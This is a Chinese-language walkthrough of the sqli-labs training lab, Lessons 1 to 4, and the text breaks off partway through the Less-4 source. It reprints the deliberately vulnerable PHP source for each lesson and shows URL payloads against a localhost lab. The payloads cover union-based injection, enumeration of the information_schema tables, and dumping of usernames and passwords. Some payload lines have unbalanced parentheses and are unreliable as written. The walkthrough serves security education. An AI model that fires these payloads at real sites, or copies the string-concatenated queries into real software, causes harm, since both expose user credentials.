http://blog.csdn.net/u012763794/article/details/51207833
http://blog.csdn.net/u012763794/article/details/51361152
http://blog.csdn.net/u012763794/article/details/51457142
Less-1 基于错误的 - get 单引号 - 字符型注入
①先打开网页查看 Welcome Dhakkan
- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- <html xmlns="http://www.w3.org/1999/xhtml">
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <title>Less-1 **Error Based- String**</title>
- </head>
- <body bgcolor="#000000">
- <div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
- <font size="3" color="#FFFF00">
- <?php
- //including the Mysql connect parameters.
- include("../sql-connections/sql-connect.php");
- error_reporting(0);
- // take the variables
- if(isset($_GET['id']))
- {
- $id=$_GET['id'];
- //logging the connection parameters to a file for analysis.
- $fp=fopen('result.txt','a');
- fwrite($fp,'ID:'.$id."\n");
- fclose($fp);
- // connectivity
- $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- $result=mysql_query($sql);
- $row = mysql_fetch_array($result);
- if($row)
- {
- echo "<font size='5' color= '#99FF00'>";
- echo 'Your Login name:'. $row['username'];
- echo "<br>";
- echo 'Your Password:' .$row['password'];
- echo "</font>";
- }
- else
- {
- echo '<font color= "#FFFF00">';
- print_r(mysql_error());
- echo "</font>";
- }
- }
- else { echo "Please input the ID as parameter with numeric value";}
- ?>
- </font> </div></br></br></br><center>
- <img src="../images/Less-1.jpg" /></center>
- </body>
- </html>
- Please input the ID as parameter with numeric value
- http://localhost/sqli-labs-master/Less-1/?id=1
- if(isset($_GET['id'])) //判断id的值时候有被设置
- {
- $id=$_GET['id']; //取出id值
- $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; //构建sql语句,漏洞所在
- .....
- .....
- $result=mysql_query($sql); //然后查询,并返回结果
- $row = mysql_fetch_array($result);
- if($row)
- {
- echo "<font size='5' color= '#99FF00'>";
- echo 'Your Login name:'. $row['username'];
- echo "<br>";
- echo 'Your Password:' .$row['password'];
- echo "</font>";
- }
- else
- {
- echo '<font color= "#FFFF00">';
- print_r(mysql_error());
- echo "</font>";
- }
- }
- else { echo "Please input the ID as parameter with numeric value";}
- ?>
- SELECT * FROM users WHERE id='1' LIMIT 0,1;
- http://localhost/sqli-labs-master/Less-1/?id=1'
- http://localhost/sqli-labs-master/Less-1/?id=1' or'1'='1
- http://localhost/sqli-labs-master/Less-1/?id=1' or 1=1 --+
- SELECT * FROM users WHERE id='1' or '1'='1' LIMIT 0,1
- SELECT * FROM users WHERE id='' or 1=1 --+' LIMIT 0,1
- http://localhost/sqli-labs-master/Less-1/?id=1' order by 1 %23
- http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 %23
构建如下Sql语句:
- <span style="font-size:14px;">http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,(concat_ws(char(32,58,32),user(),database(),version())) %23</span>
注意:这里的32表示 [空格],58表示 [:] ,执行
知道数据库名了,接下来就是拆解表了。
首先说一下mysql的数据库information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息,下面说一下常用的几个表
SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。
TABLES表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表
COLUMNS表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是show columns from schemaname.tablename的结果取之此表。
注意,查询information_schema中的信息时,使用where语句,那个值不能直接用英文,要用单引号包裹着,当然用其十六进制表示也可以,数值类型的就不用单引号了,这对过滤单引号应该有指导意义。
security的十六进制转换是:0x7365637572697479
16进制转换地址:http://www.bejson.com/convert/ox2str/
- http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 %23
- http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1 %23
- http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users--+
- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- <html xmlns="http://www.w3.org/1999/xhtml">
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <title>Less-2 **Error Based- Intiger**</title>
- </head>
- <body bgcolor="#000000">
- <div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
- <font size="3" color="#FFFF00">
- <?php
- //including the Mysql connect parameters.
- include("../sql-connections/sql-connect.php");
- error_reporting(0);
- // take the variables
- if(isset($_GET['id']))
- {
- $id=$_GET['id'];
- //logging the connection parameters to a file for analysis.
- $fp=fopen('result.txt','a');
- fwrite($fp,'ID:'.$id."\n");
- fclose($fp);
- // connectivity
- $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
- $result=mysql_query($sql);
- $row = mysql_fetch_array($result);
- if($row)
- {
- echo "<font size='5' color= '#99FF00'>";
- echo 'Your Login name:'. $row['username'];
- echo "<br>";
- echo 'Your Password:' .$row['password'];
- echo "</font>";
- }
- else
- {
- echo '<font color= "#FFFF00">';
- print_r(mysql_error());
- echo "</font>";
- }
- }
- else
- {
- echo "Please input the ID as parameter with numeric value";
- }
- ?>
- </font> </div></br></br></br><center>
- <img src="../images/Less-2.jpg" /></center>
- </body>
- </html>
- Please input the ID as parameter with numeric value
- http://localhost/sqli-labs-master/Less-1/?id=-1 union select 1,group_concat(char(32),username,char(32),group_concat(char(32),password,char(32)) from users--+
- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- <html xmlns="http://www.w3.org/1999/xhtml">
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <title>Less-3 Error Based- String (with Twist) </title>
- </head>
- <body bgcolor="#000000">
- <div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
- <font size="3" color="#FFFF00">
- <?php
- //including the Mysql connect parameters.
- include("../sql-connections/sql-connect.php");
- error_reporting(0);
- // take the variables
- if(isset($_GET['id']))
- {
- $id=$_GET['id'];
- //logging the connection parameters to a file for analysis.
- $fp=fopen('result.txt','a');
- fwrite($fp,'ID:'.$id."\n");
- fclose($fp);
- // connectivity
- $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
- $result=mysql_query($sql);
- $row = mysql_fetch_array($result);
- if($row)
- {
- echo "<font size='5' color= '#99FF00'>";
- echo 'Your Login name:'. $row['username'];
- echo "<br>";
- echo 'Your Password:' .$row['password'];
- echo "</font>";
- }
- else
- {
- echo '<font color= "#FFFF00">';
- print_r(mysql_error());
- echo "</font>";
- }
- }
- else { echo "Please input the ID as parameter with numeric value";}
- ?>
- </font> </div></br></br></br><center>
- <img src="../images/Less-3.jpg" /></center>
- </body>
- </html>
- Please input the ID as parameter with numeric value
- http://localhost/sqli-labs-master/Less-3/?id=1')--+
- http://localhost/sqli-labs-master/Less-3/?id=-1') union select 1,group_concat(char(32),username,char(32),group_concat(char(32),password,char(32)) from users--+
- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- <html xmlns="http://www.w3.org/1999/xhtml">
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <title>Less-4 Error Based- DoubleQuotes String</title>
- </head>
- <body bgcolor="#000000">
- <div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
- <font size="3" color="#FFFF00">
- <?php
- //including the Mysql connect parameters.
- include("../sql-connections/sql-connect.php");
- error_reporting(0);
- // take the variables
- if(isset($_GET['id']))
- {
- $id=$_GET['id'];
- //logging the connection parameters to a file for analysis.
- $fp=fopen('result.txt','a');
- fwrite($fp,'ID:'.$id."\n");
- fclose($fp);
- // connectivity
- $id = '"' . $id . '"';
- $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";